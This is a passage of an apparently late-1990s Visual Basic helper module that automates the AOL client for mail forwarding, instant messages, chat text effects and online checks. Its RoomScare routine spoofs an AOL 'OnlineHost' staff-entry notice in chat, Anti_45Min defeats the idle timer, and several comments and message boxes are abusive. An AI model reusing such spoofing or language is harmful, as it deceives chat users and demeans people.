  3807.     If LCase(smSpc$) = "forward" Or stat% = 0 Then Exit Do
  3808.      stat% = GetWindow(stat%, GW_HWNDNEXT)
  3809. Loop
  3810.    
  3811. If stat% <> 0 Then
  3812. stat% = GetWindow(stat%, GW_HWNDPREV)
  3813. clickit = SendMessage(stat%, WM_LBUTTONDOWN, 0, 0&)
  3814. clickit = SendMessage(stat%, WM_LBUTTONUP, 0, 0&)
  3815.  
  3816. Do: DoEvents
  3817.  
  3818. aol2% = FindWindow("AOL Frame25", vbNullString)
  3819. mdi2% = FindChildByClass(aol2%, "MDIClient")
  3820. tit2% = FindChildByTitle(mdi2%, "Fwd:")
  3821. edi2% = FindChildByClass(tit2%, "_AOL_Edit")
  3822. If tit2% <> 0 And edi2% <> 0 Then Exit Do
  3823. Loop
  3824.  
  3825. fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, SName)
  3826.     For n = 1 To 4
  3827.         edi2% = GetWindow(edi2%, GW_HWNDNEXT)
  3828.     Next n
  3829. sNum2 = SendMessageByNum(edi2%, 14, 0, 0&)
  3830. fSpc$ = Space$(sNum2)
  3831. GetIt = SendMessageByString(edi2%, 13, sNum2 + 1, fSpc$)
  3832. Subj = fSpc$
  3833. If InStr(LCase(Subj), "fwd:") <> 0 Then
  3834. nSubj$ = Mid(Subj, 6, Len(Subj))
  3835. fillit = SendMessage(edi2%, WM_LBUTTONDBLCLK, 0, 0&)
  3836. fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, nSubj$)
  3837.    
  3838.     
  3839.     For i = 1 To 18
  3840.         edi2% = GetWindow(edi2%, GW_HWNDNEXT)
  3841.     Next i
  3842.  
  3843. clickit = SendMessage(edi2%, WM_LBUTTONDOWN, 0, 0&)
  3844. clickit = SendMessage(edi2%, WM_LBUTTONUP, 0, 0&)
  3845.  Wait (1)
  3846.  
  3847.  titc% = FindChildByTitle(mdi%, " Online Mailbox")
  3848.  If titc% <> 0 Then
  3849.  cit = ShowWindow(titc%, SW_MINIMIZE)
  3850.  End If
  3851.  Mo% = FindWindow("_AOL_Modal", vbNullString)
  3852.  iconb% = FindChildByClass(Mo%, "_AOL_Icon")
  3853.  If Mo% <> 0 Then
  3854. closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  3855. closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  3856.  
  3857.  End If
  3858.  cit2 = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  3859. End If
  3860. End If
  3861. End Function
  3862.  
  3863. Function Server_Mail2Subject(strin As String)
  3864. Dim X As Integer
  3865. Dim NoName$, l$
  3866. For X = 1 To Len(strin)
  3867.         l$ = Mid(strin, X, 1)
  3868.         NoName$ = NoName$ & l$
  3869.             If l$ = Chr(9) Then
  3870.                 Let l$ = "": NoName$ = ""
  3871.             End If
  3872.     Next X
  3873.     Server_Mail2Subject = NoName$
  3874. End Function
  3875.  
  3876. Function Server_SendByIndex(lis As ListBox, Indx As Integer, Who As String)
  3877. 'this will check your listbox for the index #
  3878. 'then search each mail and find a match in the
  3879. 'subject not the fastest but i had to make it
  3880. 'universal for all to use.
  3881. Dim Gsb, Gsb2, Gsb3, BeSafe As Integer
  3882. Dim sent As Boolean
  3883. Dim GottaKeepAsNew As Boolean
  3884. Dim TName As String
  3885. sent = False
  3886. sb$ = lis.List(Val(Indx) - 1)
  3887.     For cut = 1 To Len(sb$)
  3888.         tr$ = Mid(sb$, cut, 1)
  3889.         If tr$ = ")" Then
  3890.         tr$ = ""
  3891.         Exit For
  3892.         End If
  3893.         Next cut
  3894.  sb2$ = Mid(sb$, (cut + 1), Len(sb$))
  3895.  
  3896. Call Mail_OpenNew2
  3897. Do: DoEvents
  3898. aol% = FindWindow("AOL Frame25", vbNullString)
  3899. mdi% = FindChildByClass(aol%, "MDIClient")
  3900. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  3901. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  3902. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  3903. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  3904. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  3905. If TIT% <> 0 And tree% <> 0 Then Exit Do
  3906. Loop
  3907. For BeSafe = 1 To 4
  3908. Do: DoEvents
  3909. NewC = coun%
  3910. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  3911. If NewC = coun% Then Exit Do
  3912. Loop
  3913.     For Gsb = 0 To coun% - 1
  3914.         selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&)
  3915.         lent% = SendMessage(tree%, LB_GETTEXTLEN, Gsb, 0&)
  3916.         Subjct$ = String(lent% + 1, 0)
  3917.         Call SendMessageByString(tree%, LB_GETTEXT, Gsb, Subjct$)
  3918.              Subjct2$ = Server_Mail2Subject(Subjct$)
  3919.              Wait (0.2)
  3920.              DoEvents
  3921.              If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3922.         selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&)
  3923.         Wait (0.3)
  3924.         selit = SendMessage(tree%, WM_KEYDOWN, VK_RETURN, 0&)
  3925.         selit = SendMessage(tree%, WM_KEYUP, VK_RETURN, 0&)
  3926.         sent = True
  3927.         Exit For
  3928.             End If
  3929.     Next Gsb
  3930.  If sent = True Then Exit For
  3931.  Next BeSafe
  3932. If sent = False Then
  3933.     Call Mail_OpenOld2
  3934.     Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3935.     Tree2% = FindChildByClass(Tab2%, "_AOL_Tree")
  3936.   For BeSafe = 1 To 4
  3937. Do: DoEvents
  3938.     NewC = coun2%
  3939.         coun2% = SendMessage(Tree2%, LB_GETCOUNT, 0, 0&)
  3940.         If NewC = coun2% Then Exit Do
  3941.     Loop
  3942.  
  3943.     For Gsb2 = 0 To coun2% - 1
  3944.     selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb, 0&)
  3945.         lent% = SendMessage(Tree2%, LB_GETTEXTLEN, Gsb2, 0&)
  3946.         Subjct$ = String(lent% + 1, 0)
  3947.         Call SendMessageByString(Tree2%, LB_GETTEXT, Gsb2, Subjct$)
  3948.             Subjct2$ = Server_Mail2Subject(Subjct$)
  3949.              Wait (0.3)
  3950.             DoEvents
  3951.             If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3952.         selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb2, 0&)
  3953.         Wait (0.3)
  3954.         selit = SendMessage(Tree2%, WM_KEYDOWN, VK_RETURN, 0&)
  3955.         selit = SendMessage(Tree2%, WM_KEYUP, VK_RETURN, 0&)
  3956.         sent = True
  3957.         Exit For
  3958.             End If
  3959.     Next Gsb2
  3960.    If sent = True Then Exit For
  3961.    
  3962.  Next BeSafe
  3963.  
  3964.  
  3965.         If sent = False Then
  3966.             Call Mail_OpenSent2
  3967.             Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3968.             Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  3969.     tree3% = FindChildByClass(Tab2%, "_AOL_Tree")
  3970. For BeSafe = 1 To 4
  3971. Do: DoEvents
  3972.     NewC = coun3%
  3973.         coun3% = SendMessage(tree3%, LB_GETCOUNT, 0, 0&)
  3974.         If NewC = coun2% Then Exit Do
  3975.     Loop
  3976.               
  3977.     For Gsb3 = 0 To coun3%
  3978.     selit = SendMessage(tree3%, LB_SETCURSEL, Gsb, 0&)
  3979.         lent% = SendMessage(tree3%, LB_GETTEXTLEN, Gsb3, 0&)
  3980.         Subjct$ = String(lent% + 1, 0)
  3981.         Call SendMessageByString(tree3%, LB_GETTEXT, Gsb3, Subjct$)
  3982.            Subjct2$ = Server_Mail2Subject(Subjct$)
  3983.             Wait (0.2)
  3984.            DoEvents
  3985.             If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then
  3986.         selit = SendMessage(tree3%, LB_SETCURSEL, Gsb3, 0&)
  3987.         Wait (0.3)
  3988.         selit = SendMessage(tree3%, WM_KEYDOWN, VK_RETURN, 0&)
  3989.         selit = SendMessage(tree3%, WM_KEYUP, VK_RETURN, 0&)
  3990.         sent = True
  3991.         Exit For
  3992.             End If
  3993.     Next Gsb3
  3994.     If sent = True Then Exit For
  3995.  Next BeSafe
  3996.  End If
  3997.    If sent = False Then
  3998.    MsgBox ("Mail was not in mailbox index"), 16, ("Error")
  3999.    Exit Function
  4000.    End If
  4001.    Wait (2)
  4002.    DoEvents
  4003.    Call Server_FWD(Who)
  4004.    End If
  4005.  
  4006.  
  4007.     
  4008. End Function
  4009. Sub signoff()
  4010. aol% = FindWindow("AOL Frame25", vbNullString)
  4011. Call RunMenuByString(aol%, "&Sign Off")
  4012. End Sub
  4013.  
  4014. Sub WelcomeWindow_Show()
  4015. aol% = FindWindow("AOL Frame25", vbNullString)
  4016. mdi% = FindChildByClass(aol%, "MDIClient")
  4017. TIT% = FindChildByTitle(mdi%, "Welcome")
  4018. If TIT% <> 0 Then
  4019. X = ShowWindow(TIT%, SW_SHOW)
  4020. End If
  4021.  
  4022. End Sub
  4023. Sub WavYChaTRedBlue(TheText As String)
  4024. G$ = TheText
  4025. a = Len(G$)
  4026. For W = 1 To a Step 4
  4027.     r$ = Mid$(G$, W, 1)
  4028.     U$ = Mid$(G$, W + 1, 1)
  4029.     s$ = Mid$(G$, W + 2, 1)
  4030.     T$ = Mid$(G$, W + 3, 1)
  4031.     p$ = p$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & U$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & T$
  4032. Next W
  4033. ErrorRsenD (p$)
  4034. End Sub
  4035. Function RoomScare()
  4036.  
  4037. Call ErrorRsenD("|2eV                                          <b><FONT COLOR=#0000FF>OnlineHost:</b><FONT COLOR=#006565>     CATWatch01 has entered the room.")
  4038. 'OnlineHost:     Formula 1 Racer has entered the room.
  4039. End Function
  4040.  
  4041.  
  4042. Function WavYChaTRedGreen(TheText As String)
  4043. G$ = TheText
  4044. a = Len(G$)
  4045. For W = 1 To a Step 4
  4046.     r$ = Mid$(G$, W, 1)
  4047.     U$ = Mid$(G$, W + 1, 1)
  4048.     s$ = Mid$(G$, W + 2, 1)
  4049.     T$ = Mid$(G$, W + 3, 1)
  4050.     p$ = p$ & "<b><FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & U$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & T$
  4051. Next W
  4052. ErrorRsenD (p$)
  4053. End Function
  4054.  
  4055. Sub WelcomeWindow_Hide()
  4056. 'this will only hide it not kill it
  4057. 'so the GetUserSn function will still work
  4058. aol% = FindWindow("AOL Frame25", vbNullString)
  4059. mdi% = FindChildByClass(aol%, "MDIClient")
  4060. TIT% = FindChildByTitle(mdi%, "Welcome")
  4061. If TIT% <> 0 Then
  4062. X = ShowWindow(TIT%, SW_HIDE)
  4063. End If
  4064.  
  4065. End Sub
  4066.  
  4067. Function IsChar(Char As String) As Boolean
  4068. 'tells if one character is a letter
  4069. 'use this to test if a number or letter
  4070. 'was entered..one character at a time though
  4071. If UCase(Char) Like "[A-Z]" = True Then
  4072. isit = True
  4073. Else
  4074. isit = False
  4075. End If
  4076. IsChar = isit
  4077. End Function
  4078.  
  4079. Function IsNumInString(strin As String) As Boolean
  4080. 'checks if any #'s are in a string
  4081. 'True means there is a number in it False
  4082. 'means its all letters
  4083. For i = 1 To Len(strin)
  4084. l$ = Mid(strin, i, 1)
  4085. If IsChar(l$) = False Then
  4086. IsNumInString = True
  4087. Exit Function
  4088. End If
  4089. Next i
  4090. IsNumInString = False
  4091. End Function
  4092.  
  4093.  
  4094.  
  4095. Function Juno_AdHide()
  4096. 'Hide the advertisment in juno mail
  4097. Juno% = FindWindow("JunoMainWndXQW21", vbNullString)
  4098. Afx% = FindChildByClass(Juno%, "Afx:400000:8")
  4099. Disp% = FindChildByClass(Afx%, "JAdDisplay")
  4100. If Disp% <> 0 Then
  4101. hideit = ShowWindow(Disp%, SW_HIDE)
  4102. Min = ShowWindow(Juno%, SW_MINIMIZE)
  4103. restoreit = ShowWindow(Juno%, SW_RESTORE)
  4104. End If
  4105. End Function
  4106.  
  4107. Function Juno_AdShow()
  4108. 'showss that you got mail bullshit
  4109. Juno% = FindWindow("JunoMainWndXQW21", vbNullString)
  4110. Afx% = FindChildByClass(Juno%, "Afx:400000:8")
  4111. Disp% = FindChildByClass(Afx%, "JAdDisplay")
  4112. If Disp% <> 0 Then
  4113. showit = ShowWindow(Disp%, SW_SHOW)
  4114. End If
  4115. End Function
  4116. Sub IMKeyword(Recipiant, message)
  4117. 'if you dont know wtf this is then u need a dick in ur mouth
  4118. aol% = FindWindow("AOL Frame25", vbNullString)
  4119. mdi% = FindChildByClass(aol%, "MDIClient")
  4120.  
  4121. Call Keyword("aol://9293:")
  4122.  
  4123. Do: DoEvents
  4124. IMWin% = FindChildByTitle(mdi%, "Send Instant Message")
  4125. AOEdit% = FindChildByClass(IMWin%, "_AOL_Edit")
  4126. AORich% = FindChildByClass(IMWin%, "RICHCNTL")
  4127. AOIcon% = FindChildByClass(IMWin%, "_AOL_Icon")
  4128. Loop Until AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0
  4129. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiant)
  4130. Call SendMessageByString(AORich%, WM_SETTEXT, 0, message)
  4131.  
  4132. For X = 1 To 9
  4133.     AOIcon% = GetWindow(AOIcon%, 2)
  4134. Next X
  4135.  
  4136. Call TimeOut(0.01)
  4137. ClickIcon (AOIcon%)
  4138.  
  4139. Do: DoEvents
  4140. aol% = FindWindow("AOL Frame25", vbNullString)
  4141. mdi% = FindChildByClass(aol%, "MDIClient")
  4142. IMWin% = FindChildByTitle(mdi%, "Send Instant Message")
  4143. OkWin% = FindWindow("#32770", "America Online")
  4144. If OkWin% <> 0 Then Call SendMessage(OkWin%, WM_CLOSE, 0, 0): closer2 = SendMessage(IMWin%, WM_CLOSE, 0, 0): Exit Do
  4145. If IMWin% = 0 Then Exit Do
  4146. Loop
  4147.  
  4148. End Sub
  4149.  
  4150.  
  4151.  
  4152. Function Mail_OpenNew()
  4153. 'opens fresh new mail pad
  4154. aol% = FindWindow("AOL Frame25", vbNullString)
  4155. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4156. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4157. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4158.  
  4159. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4160. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4161. End Function
  4162.  
  4163. Function Mail_OpenNew2()
  4164. 'this will make sure all the mail has been shown
  4165. aol% = FindWindow("AOL Frame25", vbNullString)
  4166. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4167. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4168. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4169.  
  4170. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4171. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4172. Do: DoEvents
  4173. mdi% = FindChildByClass(aol%, "MDIClient")
  4174. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  4175. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4176. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4177. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4178. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4179. If TIT% <> 0 And tree% <> 0 Then Exit Do
  4180. Loop
  4181. Do: DoEvents
  4182. num = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4183. If num = NewNum Then Exit Do
  4184. NewNum = num
  4185. Loop
  4186. Wait (1)
  4187. End Function
  4188.  
  4189.  
  4190.  
  4191. Function MyProgIsRunning() As Boolean
  4192.  
  4193.     MyProgIsRunning = False
  4194.  
  4195.     If (App.PrevInstance = True) Then
  4196.         MyProgIsRunning = True
  4197.     End If
  4198.  
  4199.     End Function
  4200.  
  4201.  
  4202.  
  4203.  
  4204.  
  4205. Public Sub Loadlistbox(Directory As String, TheList As ListBox)
  4206.     'this is to load a list box
  4207.     'this is very help full for <>< tankz or saving files for crackers
  4208.     Dim MyString As String
  4209.     On Error Resume Next
  4210.     Open Directory$ For Input As #1
  4211.     While Not EOF(1)
  4212.         Input #1, MyString$
  4213.         DoEvents
  4214.         TheList.AddItem MyString$
  4215.     Wend
  4216.     Close #1
  4217. End Sub
  4218.  
  4219. Function GetCaption(hwnd)
  4220.  
  4221. hwndLength% = GetWindowTextLength(hwnd)
  4222. hwndTitle$ = String$(hwndLength%, 0)
  4223. a% = GetWindowText(hwnd, hwndTitle$, (hwndLength% + 1))
  4224.  
  4225. GetCaption = hwndTitle$
  4226. End Function
  4227.  
  4228.  
  4229. Sub ClickIcon(Icon%)
  4230. Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&)
  4231. Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&)
  4232. End Sub
  4233.  
  4234. Sub AOL4_SetText(win, txt)
  4235. 'This is usually used for an _AOL_Edit or RICHCNTL
  4236. TheText% = SendMessageByString(win, WM_SETTEXT, 0, txt)
  4237. End Sub
  4238.  
  4239. Function Anti_45Min()
  4240. 'kills the AOL Timer window put this in timer
  4241. Palet% = FindWindow("_AOL_Palette", "America Online Timer")
  4242. Icona% = FindChildByClass(Palet%, "_AOL_Icon")
  4243. If Palet% <> 0 And Icona% <> 0 Then
  4244. closeit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4245. closeit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4246. End If
  4247. End Function
  4248.  
  4249. Function CheckIfOnline(SN As String) As Boolean
  4250. 'returns a true or false
  4251. 'example.. if CheckIfOnline("User123") = true then
  4252. 'msgbox("He's online")
  4253. 'End if
  4254. Call RunMenuByChar(9, "L")
  4255. Do: DoEvents
  4256. aol% = FindWindow("AOL Frame25", vbNullString)
  4257. mdi% = FindChildByClass(aol%, "MDIClient")
  4258. TIT% = FindChildByTitle(mdi%, "Locate Member Online")
  4259. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  4260.  
  4261. If TIT% <> 0 And Edi% <> 0 Then Exit Do
  4262. Loop
  4263. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, SN)
  4264. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4265. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4266. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4267.  
  4268. Do: DoEvents
  4269. No% = FindWindow("#32770", vbNullString)
  4270. tit2% = FindChildByTitle(mdi%, "Locate " & SN)
  4271. If No% <> 0 Or tit2% <> 0 Then Exit Do
  4272. Loop
  4273. If No% <> 0 Then
  4274. closeit = SendMessage(No%, WM_CLOSE, 0, 0&)
  4275. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4276. AreThey = False
  4277. ElseIf tit2% <> 0 Then
  4278. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  4279. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4280. AreThey = True
  4281. End If
  4282. If AreThey = True Then
  4283. MsgBox "heheh teh bitch is still online"
  4284. Else
  4285. MsgBox "The lamer fucker is not online."
  4286. End If
  4287. CheckIfOnline = AreThey
  4288. End Function
  4289. Function Decrypt(strin As String)
  4290. On Error Resume Next
  4291. If IsNumeric(Mid(strin, 1, 1)) = False Then
  4292. Decrypt = strin
  4293. Exit Function
  4294. End If
  4295. For X = 1 To Len(strin)
  4296. l$ = Mid(strin, X, 1)
  4297.     If l$ = "-" Then
  4298.     Let l$ = ""
  4299.     NextL$ = NextL$ & Chr(Ch)
  4300.     Ch = ""
  4301.         ElseIf l$ = "." Then
  4302.         Let l$ = ""
  4303.         NextL$ = NextL$ & Chr(Ch)
  4304.         Ch = ""
  4305.             ElseIf l$ = "=" Then
  4306.             Let l$ = ""
  4307.             NextL$ = NextL$ & Chr(Ch)
  4308.             Ch = ""
  4309.                 ElseIf l$ = "\" Then
  4310.                 Let l$ = ""
  4311.                 NextL$ = NextL$ & Chr(Ch)
  4312.                 Ch = ""
  4313.                     ElseIf l$ = "+" Then
  4314.                     Let l$ = ""
  4315.                     NextL$ = NextL$ & Chr(Ch)
  4316.                     Ch = ""
  4317.                         ElseIf l$ = "~" Then
  4318.                         Let l$ = ""
  4319.                         NextL$ = NextL$ & Chr(Ch)
  4320.                         Ch = ""
  4321.                              ElseIf l$ = "*" Then
  4322.                              Let l$ = ""
  4323.                              NextL$ = NextL$ & Chr(Ch)
  4324.                              Ch = ""
  4325.                                ElseIf l$ = "&" Then
  4326.                                Let l$ = ""
  4327.                                NextL$ = NextL$ & Chr(Ch)
  4328.                                Ch = ""
  4329.                              End If
  4330.                 Ch = Ch & l$
  4331.         Next X
  4332. Decrypt = NextL$
  4333. End Function
  4334.  
  4335. Function Encrypt(strin As String)
  4336. 'i've never seen this method before
  4337. 'works good but dont tell VB to encrypt it
  4338. 'more then once, youll have to press decrypt
  4339. 'more than once then.. and encrypting
  4340. 'the same line too much will overload it
  4341. On Error Resume Next
  4342. Choice = Array("-", "-", ".", "=", "\", "+", "~", "*", "&")
  4343. For X = 1 To Len(strin)
  4344. l$ = Mid(strin, X, 1)
  4345. Conv$ = Conv$ & CharToChr(l$) & Choice(Int(Rnd * 7))
  4346. Next X
  4347. Encrypt = Conv$
  4348. End Function
  4349. Function Text_Hacker(strin As String)
  4350. 'Lame but people use it
  4351. Let inptxt$ = strin
  4352. Let lenth% = Len(inptxt$)
  4353. Do While NumSpc% <= lenth%
  4354. Let NumSpc% = NumSpc% + 1
  4355. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  4356. If NextChr$ = "A" Then Let NextChr$ = "a"
  4357. If NextChr$ = "E" Then Let NextChr$ = "e"
  4358. If NextChr$ = "I" Then Let NextChr$ = "i"
  4359. If NextChr$ = "O" Then Let NextChr$ = "o"
  4360. If NextChr$ = "U" Then Let NextChr$ = "u"
  4361. If NextChr$ = "b" Then Let NextChr$ = "B"
  4362. If NextChr$ = "c" Then Let NextChr$ = "C"
  4363. If NextChr$ = "d" Then Let NextChr$ = "D"
  4364. If NextChr$ = "z" Then Let NextChr$ = "Z"
  4365. If NextChr$ = "f" Then Let NextChr$ = "F"
  4366. If NextChr$ = "g" Then Let NextChr$ = "G"
  4367. If NextChr$ = "h" Then Let NextChr$ = "H"
  4368. If NextChr$ = "y" Then Let NextChr$ = "Y"
  4369. If NextChr$ = "j" Then Let NextChr$ = "J"
  4370. If NextChr$ = "k" Then Let NextChr$ = "K"
  4371. If NextChr$ = "l" Then Let NextChr$ = "L"
  4372. If NextChr$ = "m" Then Let NextChr$ = "M"
  4373. If NextChr$ = "n" Then Let NextChr$ = "N"
  4374. If NextChr$ = "x" Then Let NextChr$ = "X"
  4375. If NextChr$ = "p" Then Let NextChr$ = "P"
  4376. If NextChr$ = "q" Then Let NextChr$ = "Q"
  4377. If NextChr$ = "r" Then Let NextChr$ = "R"
  4378. If NextChr$ = "s" Then Let NextChr$ = "S"
  4379. If NextChr$ = "t" Then Let NextChr$ = "T"
  4380. If NextChr$ = "w" Then Let NextChr$ = "W"
  4381. If NextChr$ = "v" Then Let NextChr$ = "V"
  4382. If NextChr$ = " " Then Let NextChr$ = "á"
  4383. Let NewSent$ = NewSent$ + NextChr$
  4384. Loop
  4385. ErrorRsenD (NewSent$)
  4386. End Function
  4387. Sub Text_Flash(txt As textbox)
  4388. txt.ForeColor = QBColor(Rnd * 15)
  4389. NoFreeze% = DoEvents()
  4390. End Sub
  4391. Function Text_backwards(strin As textbox)
  4392. Let inptxt$ = strin
  4393. Let lenth% = Len(inptxt$)
  4394. Do While NumSpc% <= lenth%
  4395. Let NumSpc% = NumSpc% + 1
  4396. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  4397. Let NewSent$ = NextChr$ & NewSent$
  4398. Loop
  4399. ErrorRsenD (NewSent$)
  4400. End Function
  4401. Function SNfromIM()
  4402. 'this gets the sn from the im box open
  4403. 'this can be a help full option for a im-answering machine to take the mesages
  4404. aol% = FindWindow("AOL Frame25", vbNullString)
  4405. mdi% = FindChildByClass(aol%, "MDIClient") '
  4406.  
  4407. IM% = FindChildByTitle(mdi%, ">Instant Message From:")
  4408. If IM% Then GoTo Greed
  4409. IM% = FindChildByTitle(mdi%, "  Instant Message From:")
  4410. If IM% Then GoTo Greed
  4411. Exit Function
  4412. Greed:
  4413. IMCap$ = GetCaption(IM%)
  4414. TheSN$ = Mid(IMCap$, InStr(IMCap$, ":") + 2)
  4415. SNfromIM = TheSN$
  4416.  
  4417. End Function
  4418.  
  4419. Sub EliteTalker(word$)
  4420. Made$ = ""
  4421. For q = 1 To Len(word$)
  4422.     Letter$ = ""
  4423.     Letter$ = Mid$(word$, q, 1)
  4424.     Leet$ = ""
  4425.     X = Int(Rnd * 3 + 1)
  4426.     If Letter$ = "a" Then
  4427.     If X = 1 Then Leet$ = "Γ"
  4428.     If X = 2 Then Leet$ = "σ"
  4429.     If X = 3 Then Leet$ = "Σ"
  4430.     End If
  4431.     If Letter$ = "b" Then Leet$ = "b"
  4432.     If Letter$ = "c" Then Leet$ = "τ"
  4433.     If Letter$ = "d" Then Leet$ = "d"
  4434.     If Letter$ = "e" Then
  4435.     If X = 1 Then Leet$ = "δ"
  4436.     If X = 2 Then Leet$ = "Ω"
  4437.     If X = 3 Then Leet$ = "Θ"
  4438.     End If
  4439.     If Letter$ = "i" Then
  4440.     If X = 1 Then Leet$ = "∞"
  4441.     If X = 2 Then Leet$ = "∩"
  4442.     If X = 3 Then Leet$ = "ε"
  4443.     End If
  4444.     If Letter$ = "j" Then Leet$ = ",j"
  4445.     If Letter$ = "n" Then Leet$ = "±"
  4446.     If Letter$ = "o" Then
  4447.     If X = 1 Then Leet$ = "⌠"
  4448.     If X = 2 Then Leet$ = "≡"
  4449.     If X = 3 Then Leet$ = "⌡"
  4450.     End If
  4451.     If Letter$ = "s" Then Leet$ = "Ü"
  4452.     If Letter$ = "t" Then Leet$ = "å"
  4453.     If Letter$ = "u" Then
  4454.     If X = 1 Then Leet$ = "∙"
  4455.     If X = 2 Then Leet$ = "√"
  4456.     If X = 3 Then Leet$ = "ⁿ"
  4457.     End If
  4458.     If Letter$ = "w" Then Leet$ = "\X/"
  4459.     If Letter$ = "y" Then Leet$ = "'/"
  4460.     If Letter$ = "0" Then Leet$ = "╪"
  4461.     If Letter$ = "A" Then
  4462.     If X = 1 Then Leet$ = "┼"
  4463.     If X = 2 Then Leet$ = "─"
  4464.     If X = 3 Then Leet$ = "├"
  4465.     End If
  4466.     If Letter$ = "B" Then Leet$ = "▀"
  4467.     If Letter$ = "C" Then Leet$ = "╟"
  4468.     If Letter$ = "D" Then Leet$ = "╨"
  4469.     If Letter$ = "E" Then Leet$ = "╦"
  4470.     If Letter$ = "I" Then
  4471.     If X = 1 Then Leet$ = "╧"
  4472.     If X = 2 Then Leet$ = "╬"
  4473.     If X = 3 Then Leet$ = "═"
  4474.     End If
  4475.     If Letter$ = "N" Then Leet$ = "╤"
  4476.     If Letter$ = "O" Then Leet$ = "╒"
  4477.     If Letter$ = "S" Then Leet$ = "è"
  4478.     If Letter$ = "U" Then Leet$ = "█"
  4479.     If Letter$ = "W" Then Leet$ = "VV"
  4480.     If Letter$ = "Y" Then Leet$ = "▌"
  4481.     If Letter$ = "`" Then Leet$ = "┤"
  4482.     If Letter$ = "!" Then Leet$ = "í"
  4483.     If Letter$ = "?" Then Leet$ = "┐"
  4484.     If Len(Leet$) = 0 Then Leet$ = Letter$
  4485.     Made$ = Made$ & Leet$
  4486. Next q
  4487. ErrorRsenD (Made$)
  4488. End Sub
  4489.  
  4490.  
  4491. Function File_Scan(FilePath As String, LookFor As String) As Long
  4492. 'will return Instr# if string found
  4493. 'returns 0 if string isnt found
  4494. 'scan takes longer depending on file size
  4495.     Free = FreeFile
  4496.     Dim Lookin As Long
  4497.     Open FilePath$ For Binary Access Read As #Free
  4498.  
  4499.     For X = 1 To LOF(Free) Step 32000
  4500.         txt$ = Space(32000)
  4501.         Get #Free, X, txt$
  4502.         
  4503.  
  4504.         If InStr(1, txt$, LookFor$, 1) Then
  4505.             Lookin = InStr(1, txt$, LookFor$, 1)
  4506.             File_Scan = (Lookin + X) - 1
  4507.             Close #Free
  4508.             Exit For
  4509.         End If
  4510.  
  4511.         Next X
  4512.  
  4513.             Close #Free
  4514.         End Function
  4515.     
  4516.  
  4517.  
  4518.  
  4519. Function FindChatEdit()
  4520. Echil% = FindChat
  4521. ERich% = FindChildByClass(Echil%, "RICHCNTL")
  4522. For i = 1 To 6
  4523. DoEvents
  4524. ERich% = GetWindow(ERich%, GW_HWNDNEXT)
  4525. Next i
  4526. FindChatEdit = ERich%
  4527. End Function
  4528. Function IMOn()
  4529. Call InstantMessage("$IM_on", Plug)
  4530.  
  4531. aol% = FindWindow("AOL Frame25", vbNullString)
